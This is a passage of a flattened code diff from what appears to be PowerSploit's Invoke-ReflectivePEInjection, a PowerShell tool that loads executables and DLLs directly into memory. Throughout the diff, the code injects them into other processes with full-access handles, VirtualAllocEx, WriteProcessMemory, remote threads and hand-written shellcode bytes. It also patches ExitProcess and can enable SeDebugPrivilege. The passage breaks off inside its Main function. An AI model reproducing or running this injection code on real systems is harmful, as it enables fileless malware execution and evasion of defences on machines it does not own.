$Win32Functions.GetModuleHandle.Invoke("mscoree.dll") - if ($MscoreeHandle -eq [IntPtr]::Zero) - { - throw "mscoree handle null" - } - [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") - if ($CorExitProcessAddr -eq [IntPtr]::Zero) - { - Throw "CorExitProcess address not found" - } - $ExitFunctions += $CorExitProcessAddr - - #ExitProcess (what non-managed programs use) - [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") - if ($ExitProcessAddr -eq [IntPtr]::Zero) - { - Throw "ExitProcess address not found" - } - $ExitFunctions += $ExitProcessAddr - - [UInt32]$OldProtectFlag = 0 - foreach ($ProcExitFunctionAddr in $ExitFunctions) - { - $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr - #The following is the shellcode (Shellcode: ExitThread.asm): - #32bit shellcode - [Byte[]]$Shellcode1 = @(0xbb) - [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) - #64bit shellcode (Shellcode: ExitThread.asm) - if ($PtrSize -eq 8) - { - [Byte[]]$Shellcode1 = @(0x48, 0xbb) - [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) - } - [Byte[]]$Shellcode3 = @(0xff, 0xd3) - $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length - - [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") - if ($ExitThreadAddr -eq [IntPtr]::Zero) - { - Throw "ExitThread address not found" - } - - $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) - if ($Success -eq $false) - { - Throw "Call to VirtualProtect failed" - } - - #Make copy of original ExitProcess bytes - $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) - $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null - $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) - - #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then - # call ExitThread - Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp - $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) - $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize - Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp - $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) - $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize - Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp - - $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null - } - ################################################# - - Write-Output $ReturnArray - } - - - #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) - # It copies Count bytes from Source to Destination. - Function Copy-ArrayOfMemAddresses - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Array[]] - $CopyInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants - ) - - [UInt32]$OldProtectFlag = 0 - foreach ($Info in $CopyInfo) - { - $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) - if ($Success -eq $false) - { - Throw "Call to VirtualProtect failed" - } - - $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null - - $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null - } - } - - - ##################################### - ########## FUNCTIONS ########### - ##################################### - Function Get-MemoryProcAddress - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [IntPtr] - $PEHandle, - - [Parameter(Position = 1, Mandatory = $true)] - [String] - $FunctionName - ) - - $Win32Types = Get-Win32Types - $Win32Constants = Get-Win32Constants - $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants - - #Get the export table - if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) - { - return [IntPtr]::Zero - } - $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) - $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) - - for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) - { - #AddressOfNames is an array of pointers to strings of the names of the functions exported - $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) - $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) - $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) - - if ($Name -ceq $FunctionName) - { - #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions - # which contains the offset of the function in to the DLL - $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) - $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) - $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) - $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) - return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) - } - } - - return [IntPtr]::Zero - } - - - Function Invoke-MemoryLoadLibrary - { - Param( - [Parameter( Position = 0, Mandatory = $true )] - [Byte[]] - $PEBytes, - - [Parameter(Position = 1, Mandatory = $false)] - [String] - $ExeArgs, - - [Parameter(Position = 2, Mandatory = $false)] - [IntPtr] - $RemoteProcHandle, + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) - [Parameter(Position = 3)] - [Bool] - $ForceASLR = $false - ) - - $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) - - #Get Win32 constants and functions - $Win32Constants = Get-Win32Constants - $Win32Functions = Get-Win32Functions - $Win32Types = Get-Win32Types - - $RemoteLoading = $false - if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) - { - $RemoteLoading = $true - } - - #Get basic PE information - Write-Verbose "Getting basic PE information from the file" - $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types - $OriginalImageBase = $PEInfo.OriginalImageBase - $NXCompatible = $true - if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) - { - Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue - $NXCompatible = $false - } - - - #Verify that the PE and the current process are the same bits (32bit or 64bit) - $Process64Bit = $true - if ($RemoteLoading -eq $true) - { - $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") - $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") - if ($Result -eq [IntPtr]::Zero) - { - Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" - } - - [Bool]$Wow64Process = $false - $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) - if ($Success -eq $false) - { - Throw "Call to IsWow64Process failed" - } - - if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) - { - $Process64Bit = $false - } - - #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly - $PowerShell64Bit = $true - if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) - { - $PowerShell64Bit = $false - } - if ($PowerShell64Bit -ne $Process64Bit) - { - throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" - } - } - else - { - if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) - { - $Process64Bit = $false - } - } - if ($Process64Bit -ne $PEInfo.PE64Bit) - { - Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" - } - - - #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address - Write-Verbose "Allocating memory for the PE and write its headers to memory" - - #ASLR check - [IntPtr]$LoadAddr = [IntPtr]::Zero - $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE - if ((-not $ForceASLR) -and (-not $PESupportsASLR)) - { - Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue - [IntPtr]$LoadAddr = $OriginalImageBase - } - elseif ($ForceASLR -and (-not $PESupportsASLR)) + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) { - Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash." + Throw "Unable to get the handle to the current thread" } - if ($ForceASLR -and $RemoteLoading) + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) { - Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } + + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } } - if ($RemoteLoading -and (-not $PESupportsASLR)) + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) { - Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop + Throw "Unable to call LookupPrivilegeValue" } - $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell - $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. - if ($RemoteLoading -eq $true) - { - #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup - $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - - #todo, error handling needs to delete this memory if an error happens along the way - $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - if ($EffectivePEHandle -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" - } - } - else - { - if ($NXCompatible -eq $true) - { - $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - } - else - { - $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - } - $EffectivePEHandle = $PEHandle - } - - [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) - if ($PEHandle -eq [IntPtr]::Zero) - { - Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." - } - [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null - - - #Now that the PE is in memory, get more detailed information about it - Write-Verbose "Getting detailed PE information from the headers loaded in memory" - $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants - $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress - $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle - Write-Verbose "StartAddress: $(Get-Hex $PEHandle) EndAddress: $(Get-Hex $PEEndAddress)" - - - #Copy each section from the PE in to memory - Write-Verbose "Copy PE sections in to memory" - Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types - - - #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded - Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" - Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types - - - #The PE we are in-memory loading has DLLs it needs, import those DLLs for it - Write-Verbose "Import DLL's needed by the PE we are loading" - if ($RemoteLoading -eq $true) - { - Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle - } - else - { - Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants - } - - - #Update the memory protection flags for all the memory just allocated - if ($RemoteLoading -eq $false) - { - if ($NXCompatible -eq $true) - { - Write-Verbose "Update memory protection flags" - Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types - } - else - { - Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" - } - } - else - { - Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" - } - - - #If remote loading, copy the DLL in to remote process memory - if ($RemoteLoading -eq $true) - { - [UInt32]$NumBytesWritten = 0 - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) - if ($Success -eq $false) - { - Throw "Unable to write shellcode to remote process memory." - } - } - - - #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function - if ($PEInfo.FileType -ieq "DLL") - { - if ($RemoteLoading -eq $false) - { - Write-Verbose "Calling dllmain so the DLL knows it has been loaded" - $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) - $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) - $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) - - $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null - } - else - { - $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) - - if ($PEInfo.PE64Bit -eq $true) - { - #Shellcode: CallDllMain.asm - $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) - $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) - $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) - } - else - { - #Shellcode: CallDllMain.asm - $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) - $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) - $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) - } - $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) - $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) - $SCPSMemOriginal = $SCPSMem - - Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) - - $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - if ($RSCAddr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for shellcode" - } - - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) - if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) - { - Throw "Unable to write shellcode to remote process memory." - } - - $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions - $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) - if ($Result -ne 0) - { - Throw "Call to CreateRemoteThread to call GetProcAddress failed." - } - - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - } - } - elseif ($PEInfo.FileType -ieq "EXE") - { - #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process - [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) - [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) - $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr - - #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread - # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. - [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) - Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in." - - $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null - - while($true) - { - [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) - if ($ThreadDone -eq 1) - { - Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants - Write-Verbose "EXE thread has completed." - break - } - else - { - Start-Sleep -Seconds 1 - } - } - } - - return @($PEInfo.PEHandle, $EffectivePEHandle) - } - - - Function Invoke-MemoryFreeLibrary - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $PEHandle - ) - - #Get Win32 constants and functions - $Win32Constants = Get-Win32Constants - $Win32Functions = Get-Win32Functions - $Win32Types = Get-Win32Types - - $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants - - #Call FreeLibrary for all the imports of the DLL - if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) - { - [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) - - while ($true) - { - $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) - - #If the structure is null, it signals that this is the end of the array - if ($ImportDescriptor.Characteristics -eq 0 ` - -and $ImportDescriptor.FirstThunk -eq 0 ` - -and $ImportDescriptor.ForwarderChain -eq 0 ` - -and $ImportDescriptor.Name -eq 0 ` - -and $ImportDescriptor.TimeDateStamp -eq 0) - { - Write-Verbose "Done unloading the libraries needed by the PE" - break - } - - $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) - $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) - - if ($ImportDllHandle -eq $null) - { - Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue - } - - $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) - if ($Success -eq $false) - { - Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue - } - - $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) - } - } - - #Call DllMain with process detach - Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" - $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) - $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) - $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) - - $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null - - - $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) - if ($Success -eq $false) - { - Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue - } - } - - - Function Main - { - $Win32Functions = Get-Win32Functions - $Win32Types = Get-Win32Types - $Win32Constants = Get-Win32Constants - - $RemoteProcHandle = [IntPtr]::Zero - - #If a remote process to inject in to is specified, get a handle to it - if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) - { - Throw "Can't supply a ProcId and ProcName, choose one or the other" - } - elseif ($ProcName -ne $null -and $ProcName -ne "") - { - $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) - if ($Processes.Count -eq 0) - { - Throw "Can't find process $ProcName" - } - elseif ($Processes.Count -gt 1) - { - $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId - Write-Output $ProcInfo - Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." - } - else - { - $ProcId = $Processes[0].ID - } - } - - #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. - #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege -# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) -# { -# Write-Verbose "Getting SeDebugPrivilege" -# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -# } - - if (($ProcId -ne $null) -and ($ProcId -ne 0)) - { - $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) - if ($RemoteProcHandle -eq [IntPtr]::Zero) - { - Throw "Couldn't obtain the handle for process ID: $ProcId" - } - - Write-Verbose "Got the handle for the remote process to inject in to" - } - - - #Load the PE reflectively - Write-Verbose "Calling Invoke-MemoryLoadLibrary" - $PEHandle = [IntPtr]::Zero - if ($RemoteProcHandle -eq [IntPtr]::Zero) - { - $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR - } - else - { - 